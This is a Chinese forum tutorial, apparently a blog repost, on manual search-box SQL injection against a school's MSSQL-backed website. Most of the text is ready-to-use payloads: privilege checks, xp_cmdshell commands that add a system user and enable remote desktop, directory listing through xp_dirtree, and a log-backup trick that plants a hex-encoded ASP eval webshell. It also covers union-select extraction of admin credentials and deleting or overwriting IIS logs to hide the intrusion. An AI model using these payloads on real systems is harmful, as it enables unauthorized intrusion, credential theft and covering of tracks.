本人是小菜,水平有限,但是为了论坛做贡献,还是自己写点原创的东西出来吧。希望大牛看了别笑就好了。。。。
=======================================================
前段时间朋友丢了一个站过来,说是他们学校的。叫我帮忙检测下。
于是看了下。用扫描器扫了下,没有啥可以上传利用的,发现后台,默认和万能密码无效,
无注入点,手工和工具试过了,防注入,COOKIES注入也不行。找不到程序源码,没办法分析。旁注 ?
整站是独立服务器,就一个站,旁注也没办法。难到要C段?好麻烦哦。丢给群里一些大牛看看,
都说搞不定(应该是没认真看吧。),我大受打击,但是我不放弃,再去看看先。
于是,发现了一个搜索框,直觉告诉我,这就是突破点,果然.....

前段时间的事情了,没办法截图。
整个过程做了简单的笔记,和搜集了一些手工注入的代码。凑合着看吧。

首先,简单的判断搜索型注入漏洞存在不存在的办法是先搜索,如果出错,说明90%存在这个漏洞。

a%' and 1=1-- 正常
a%' and 1=2-- 错误

有注入

由于网站过滤了 ' 等等的。所以工具不行,要手工了。累人啊~~~

判断权限
a%' and (select is_member('dbo'))=1--    返回正常则 sa
a%' and (select is_member('db_owner'))=1--   返回正常则 DB
都不是那就只有一种可能啦,public,权限貌似很小。

也可以用另一种命令来判断权限
a%' and 1=(Select IS_SRVROLEMEMBER('sysadmin'));-- sa
a%' and 1=(Select IS_MEMBER('db_owner'));-- DB
======================================================================================
sa 的方法。直接建立系统帐号密码。登陆3389.

命令是
a%';exec master..xp_cmdshell"net user admins 123456 /add"--

如果 'xp_cmdshell' 被关闭了。就来开启他。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;reconfigure
最后这个为1是开启.为0是关闭.
a%' ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXECsp_configure 'xp_cmdshell', 1;RECONFIGURE--

如果不开3389

下面的命令。。

a%';exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

======================================================================================
db 的方法

主要思路是列目录-差异备份 还有需要库名。想办法弄出来。

首先列目录

a%' order by XX-- 自己猜 例如 12

然后

a%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12--

找到字符类型的,能显示出来的 比如 5

《MSSQL手工注入目录查找辅助工具》这个自己百度去哈。。。

用 天阳的《MSSQL手工注入目录查找辅助工具》 生成列目录的代码 现在例如生成的是C盘的

然后

a%' ;drop table t_tian6 create table t_tian6(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into t_tian6 exec master..xp_dirtree @root,1,1 update t_tian6 set fn=fn+char(92) where f=0 drop table t_tian6_1 create tabLe t_tian6_1(f nvarchar(4000))-- //建立插入表数据

然后

a%' ;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from t_tian6 order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin set @r=@r+@fn+char(9) fetch cr into @fn,@f end close cr deallocate cr insert intO t_tian6_1(f) values(@r)-- //远程整理

然后

a%' and 1=2 union select 1,2,3,4,(select top 1 f from t_tian6_1),6,7,8,9,10,11,12--

获取结果。就显示出来路径了。

接下来就是 继续 用 《MSSQL手工注入目录查找辅助工具》生成列目录的代码,按照上面的步骤来做, 获取路径。。。直到找到网站根目录。

然后再获取库名

命令:

a%' and 1=2 union select 1,2,3,4,(select db_name()),6,7,8,9,10,11,12--

and (select db_name())>0 是查询库名的。这里直接在里面显示。 //and user>0 查看当前用户的。这里貌似没什么用,应该不需要,但是平时注入的时候很常用。

接下来就是 差异备份一句话***了。

这里用LOG 5步备份法。最后 如果拿到权限后,最好把 备份的东西给删除了吧。

代码是

a%';alter database 库名 set RECOVERY FULL--

a%';create table cmd (a p_w_picpath)--

a%';backup log 库名 to disk = 'c:\backuplog.bak' with init--

a%';insert into cmd (a) values (0x3C256576616C20726571756573742822612229253E)--

a%';backup log 库名 to disk = 'D:/****/a.asp'-- //路径就填刚才获取到的

0x3C256576616C20726571756573742822612229253E = 一句话*** =<%eval(request("a"))%>

库名 是刚才查询到的。自己填。

然后就是用一句话上去连。OK。成功了。

======================================================================================
public权限的又改如何拿?

那就只好查管理员的帐号密码 然后 登陆后台拿webshell了。

a%' order by XX 自己猜 例如 12

然后

a%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12--

猜表

a%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin-- // 猜他是admin 返回正常则有,不正常的话,就试其他的比如:manage user 等等

a%' and 1=2 union select 1,2,3,4,username,password,7,8,9,10,11,12 from admin--

猜帐号密码

2个字段 一个 username 一个 password 。返回正常则 会显示管理员帐号密码的。
不对的话,就试试别的字段。

然后就是登陆后台,拿webshell了。

======================================================================================
清除日志:

删除:
a%';exec master..xp_cmdshell"del C:\winnt\system32\logfiles\W3SVC1\ex090127.log"--

覆盖:(推荐)
a%';exec master..xp_cmdshell"copy C:\winnt\system32\logfiles\W3SVC1\ex090201.log C:\winnt\system32\logfiles\W3SVC1\ex100201.log"--

按照系统的不同而自己改路径。
======================================================================================
备注:
如果在搜索框内字数被限制了。就点查看源文件,找到
<input type="text" name="keyword" size=10 value="无关键字" maxlength="50">

把文本框内的
maxlength值改的大一些。
比如
<input type="text" name="keyword" size=10 value="无关键字" maxlength="1000000">
然后保存到本地提交。

就不会限制到了。呵呵。我就不信你能输入命令超过这个数。
好像有点多余,呵呵。

转载于:https://blog.51cto.com/pnig0s1992/338725

总结搜索型手工注入的全过程相关推荐

  1. mysql报错型手工注入_mysql手工注入教程

    大家早上好!,H.U.C-枫 又和大家见面啦// 本来早想做这个教程的,因为前段时间做过一套mssql的手工注入教程.今天给大家带来的是php+mysql 手工注入.临时找了个点,所以有些东西不能全给 ...

  2. mysql 注入用例_SQL注入漏洞安全测试(WVS/POST型/手工SQL注入)

    1.WVS自动化SQL注入测试 n  测试目的: 测试网站是否存在SQL注入漏洞. n  测试用例: 1)     Scan settings选择sql injection策略: 2)     输入扫 ...

  3. mysql 数值型注入_SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  4. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  5. mysql盲注_Mysql 布尔型盲注手工注入详解

    0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...

  6. Pikachu靶场-SQL注入-搜索型注入过关步骤

    Pikachu靶场-SQL注入-搜索型注入过关步骤 首先要明白MySQL数据库模糊搜索的语句,like '常%'.like '%常'.like '%常%' 这个几个,这里就不详说这个语句了 判断注入点 ...

  7. 墨者靶场--手工注入mysql数据库

    跟着小迪老师学习了sql注入,拿个靶场来练习一下自己也算是复习巩固之前学到的东西,下面让我们来一起吃西瓜把 首先我们先进入我们的墨者靶场,嘿嘿嘿 一块墨币还算好 要玩这个靶场主要要明白数据库的结构,和 ...

  8. SQL手工注入原理(含环境搭建) ─=≡Σ(((つ•̀ω•́)つ 知己知彼百战百胜 web安全

    文章目录 SQL测试环境环境搭建 下载与安装环境 开启与使用环境 sqli-labs环境部署 dvwa环境部署 SQL手动注入 SQL注入原理 SQL注入分类 SQL注入手段 寻找注点 利用注点 ge ...

  9. mysql md5解密_Web渗透测试——Mysql数据库手工注入

    我们之前讲到了SQL注入漏洞是一种非常危险的高危漏洞,攻击者可以利用许多工具轻而易举的获得目标站点后台管理权限,我们也介绍了许多SQL注入利用工具,有网友问我,既然可以使用工具自动注入,为什么还要用手 ...

  10. 【less-11】基于SQLI的POST字符型SQL注入

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入 实验目的 实验环境 实验原理 实验步骤 第一步 判断是够存在POST型注入点 ...

最新文章

  1. HTML+CSS基础(2)-HTML标签的简单介绍和网页注释
  2. bzoj1038 [ZJOI2008]瞭望塔
  3. The request failed with HTTP status 401:Access Denied
  4. Ubuntu 16.04下使用VMware安装CentOS 6.9然后在里面再安装KVM之后配置网桥无法上网的问题...
  5. 061_html字符实体
  6. 让Win10文件管理器的详细信息窗格显示更多信息
  7. MyBatis的架构和其运行流程
  8. mysql8.0.13可以用在生产环境_MySQL 8.0.13的使用心得
  9. oracle使用sqlplus查询sql格式
  10. C语言中文件定位函数总结
  11. 百度云服务器安装git并做远程仓库
  12. 硬件基础知识---(17)如何设计一个三极管放大电路
  13. 一文了解 Java 应用程序性能优化指南
  14. Python complex()
  15. js实现浏览器打印PDF
  16. latex 表格中如何精细控制行高,行距,行与行之间的距离
  17. Linux下AndroidNDK r7环境配置与NDK入门
  18. 【简单实现html页面指定某一个div局部刷新】
  19. Android手机蓝牙连接笔记本电脑蓝牙
  20. QVE音乐剪辑器制作手机铃声的方法

热门文章

  1. 牛客多校第六场G Is Today Friday?(吉姆拉尔森/蔡勒公式 + 思维)题解
  2. 【bzoj4542】[Hnoi2016]大数 莫队算法
  3. 4. 实例palybook安装管理flume
  4. Spring Aop技术原理分析
  5. 10月| R社区原创作者免费赠书
  6. 数据的增删改_准备数据
  7. Nginx出现403 forbidden (13: Permission denied)报错的四种原因
  8. spring实现定时任务的两种方式
  9. WPF 媒体播放器(MediaElement)实例,实现进度和音量控制
  10. 深度解读CSS3 position的属性